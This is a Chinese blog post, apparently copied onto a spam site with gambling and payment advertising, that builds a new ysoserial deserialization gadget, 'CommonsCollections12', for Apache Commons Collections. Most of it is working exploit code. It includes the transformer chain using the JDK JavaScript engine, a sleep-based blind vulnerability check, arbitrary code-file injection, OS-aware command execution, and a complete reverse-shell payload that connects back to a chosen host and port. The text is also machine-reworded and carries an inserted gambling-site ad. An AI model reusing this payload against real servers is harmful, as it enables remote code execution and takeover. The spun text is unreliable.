电银付使用教程(dianyinzhifu.com):CommonsCollections12之CommonsCollections6革新设计
0x01 前言
最近在研究某XXXC的一个servlet反序列化破绽时发现,第一版payload前期使用HashMap控制其filename和path,多余的post流直接作为文件填充的内容.随后查看了补丁,发现了其并未修复反序列化破绽,只是对filename和path做了些检查和控制.而剩下的反序列化问题依然存在,随即找到了CommonsCollections6这条gadget可以使用.但对于一个性格色彩带有黄色属性(完善主义者)的我来说,这条gadget只能执行个单下令并不完善.
0x02 革新前的剖析
既然不完善,那么就亲自操刀来革新一下.
首先来看看chain.
java.util.HashMap.readObject() java.util.HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
可以看出这条gagdet会反射使用Runtime的相关方法来执行OS下令.
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, cmd), new ConstantTransformer(1)};
若是使用Runtime势必只能执行单下令,执行庞大下令只能使用在线的Runtime编码接口,编码为base64,而Win系统得借助powershell,但实战遇到的机械为2003时不在少数,2003的机械并无powershell.且写文件的操作也会非常庞大.我花了一段时间以后,发现可以反射使用javax.script.scriptEngineManager
来实现我的想法.
0x03 JDK内置的JS引擎
科普一下javax.script.scriptEngineManager
.这个类在jdk中可以用以执行一些剧本语言,例如对照盛行的有Javascript、Scala、JRuby、Jython和Groovy等.而JavaSE6中自带了Javascript
语言的剧本引擎,基于Mozilla的Rhino实现,可以通过三种方式查找剧本引擎:
- 1.通过剧本名称获取:
scriptEngine engine = new scriptEngineManager().getEngineByName("Javascript");
2.通过MIME类型来获取:
scriptEngine engine = new scriptEngineManager().getEngineByExtension("js");
3.通过MIME类型来获取:
scriptEngine engine = new scriptEngineManager().getEngineByMimeType("text/javascript");
,,,, 示例:
例如我们要和js混编打印一个HelloWord:scriptEngineManager manager = new scriptEngineManager(); scriptEngine engine = manager.getEngineByName("Javascript"); engine.eval("println('Hello Word');");
固然反射的写法如下:
Class clazz = Class.forName("javax.script.scriptEngineManager"); Object manager = clazz.getDeclaredConstructor().newInstance(); Method getEngineByName = clazz.getDeclaredMethod("getEngineByName", String.class); Object scriptEngine = getEngineByName.invoke(manager,"Javascript"); Method eval = scriptEngine.getClass().getMethod("eval",String.class); eval.invoke(scriptEngine,"println('Hello Word');");
,,,, 注重事项:
,
由于是和js混编,以是要充实注重js的一些语法和Java语法的区别欢迎进入币游官网(币游国际官网),币游官网:www.9cx.net开放币游网址访问、币游会员注册、币游代理申请、币游电脑客户端、币游手机版下载等业务。
- 1.变量命名
js是弱类型的语言,所有变量使用var即可,且不需要声明类型也不支持类型转换.
例如 String a 和 int b需要写为var a 和 var b. - 2.异常捕捉
异常不用声明类型
例如try { var a; } catch (e){ }
,,, 0x04 最先革新
了解了特征以后,最先我们的革新设计.我们唯一需要大改的地方就是我们的Transformer.我们修改为如下:String[] execArgs = new String[]{cmd}; Transformer[] transformers = new Transformer[]{new ConstantTransformer(scriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"Javascript"}), new InvokerTransformer("eval", new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
可以看到一切功效由cmd控制.
我增添支持了四种功效. 1.代码注入
我们可以注入我们自己的代码.
如果用户下令以CodeFile:开头,只需要将要注入的js代码放入文件中即可if (command.startsWith("CodeFile:")) { File codeFile = new File(command.substring(9)); StringBuilder result = new StringBuilder(); try { BufferedReader br = new BufferedReader(new FileReader(codeFile)); String s = null; while((s = br.readLine()) != null) { result.append(s "n"); } br.close(); } catch (Exception var20) { var20.printStackTrace(); } cmd = result.toString(); System.err.println("----------------------------------Java codefile start----------------------------------"); System.err.println(cmd); System.err.println("-----------------------------------Java codefile end-----------------------------------"); }
例如CodeFile:1.java, 1.java内容如下:
var a; java.lang.Thread.sleep(3000);
- 2.延迟注入:
我们可以使用线程壅闭来做到延迟注入,判断是否存在破绽,就算是机械不出网依然可以判断.if (command.startsWith("sleep-check-")) { long i = Integer.parseInt(command.split("[-]")[2]) * 1000; cmd = String.format("java.lang.Thread.sleep(%s);",i); }
如果用户下令以sleep-check-开头,例如sleep-check-10,则延迟10s,用户可以通过查看response时间来判断是否存在破绽. - 3.shell反弹:
我们除了使用原生反弹以外,实在Java中内置java.net.Socket
可以反弹shell.由于jdk是跨平台的,以是无关机械类型,2003的机械依然可以借助该api而不用借助powershell反弹shell.
if (command.toLowerCase(Locale.ENGLISH).startsWith("connectback:")) { if (command.split(":").length != 3) { throw new IllegalArgumentException("Connect back command format is connectback:<host>:<port> (got " command ")"); } String host = null; host = command.split(":")[1]; int port = 0; try { port = Integer.parseInt(command.split(":")[2]); } catch (NumberFormatException var14) { throw new IllegalArgumentException("Invalid port specified for connect back command (" command.split(":")[2] ")"); } if (port < 1 || port > 65535) { throw new IllegalArgumentException("Invalid port specified for connect back command (" port ")"); } cmd = String.format("var host = "%s";n" "var port = %d;n" "var p;n" "var os = java.lang.System.getProperty("os.name").toLowerCase(java.util.Locale.ENGLISH);n" "if(os.contains("win")){n" " p = new java.lang.ProcessBuilder("cmd").redirectErrorStream(true).start();n" " }else{n" " p = new java.lang.ProcessBuilder("sh").redirectErrorStream(true).start();n" " }n" "var s = new java.net.Socket(host,port);n" "var pi = p.getInputStream(),pe = p.getErrorStream(),si = s.getInputStream();n" "var po = p.getOutputStream(),so = s.getOutputStream();n" "while(!s.isClosed()) {n" "while(pi.available()>0) {n" "so.write(pi.read());n" "}n" "while(pe.available()>0) {n" "so.write(pe.read());n" "}n" "while(si.available()>0) {n" "po.write(si.read());n" "}n" "so.flush();n" "po.flush();n" "java.lang.Thread.sleep(50);n" "try {n" "p.exitValue();n" "break;n" "}n" "catch (e){n" "}n" "};n" "p.destroy();n" "s.close();",host,port); }
例如反弹回127.0.0.1的80端口,则为connectback:127.0.0.1:80.
4.原始下令执行:
这个就是通俗的下令执行,自动判断os类型以后加入os底层.cmd = "var isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");nvar cmd = new java.lang.String("" command "");n" "var listCmd = new java.util.ArrayList();n" "var p = new java.lang.ProcessBuilder();n" " if(isWin){n" " p.command("cmd.exe", "/c", cmd);n" " }else{n" " p.command("sh", "-c", cmd);n" " }n" "p.redirectErrorStream(true);n" "var process = p.start();";
,,, 0x05 革新完成
新建一个ysoserial.payloads.CommonsCollections12
打包进ysoserial以后即可.1.代码注入测试
2.延迟注入测试
3.反弹shell测试
4.通俗下令执行
0x06 后面的话
谢谢Bearcat、Ntears、cafebabe提供相关模块的实现思绪.
本文系作者:全讯网APP授权本站发表,未经许可,不得转载。

推荐文章
Recommend article-
电银付官网(dianyinzhifu.com):请回覆2020 | DCEP初露锋芒 一文读懂DCEP的2020年
科技/阅读:72 -
电银付使用教程(dianyinzhifu.com):CommonsCollections12之CommonsCollections6革新设计
科技/阅读:185 -
为家庭的第一辆车加把料 试驾新款别克GL6_欧博手机版下载_ALLbet6.com
科技/阅读:110 -
湖州旅游景点:早知道,华为手机上的扫描功能这么好用,就不花几千块买扫描仪了
科技/阅读:178 -
再无VTEC?本田欲2023年作废欧洲市场所有燃油车型
科技/阅读:99 -
bet:小米折叠屏手秘密来了?使用华星光电屏,或刷新折叠屏最低价
科技/阅读:135

热门文章
HOT NEWS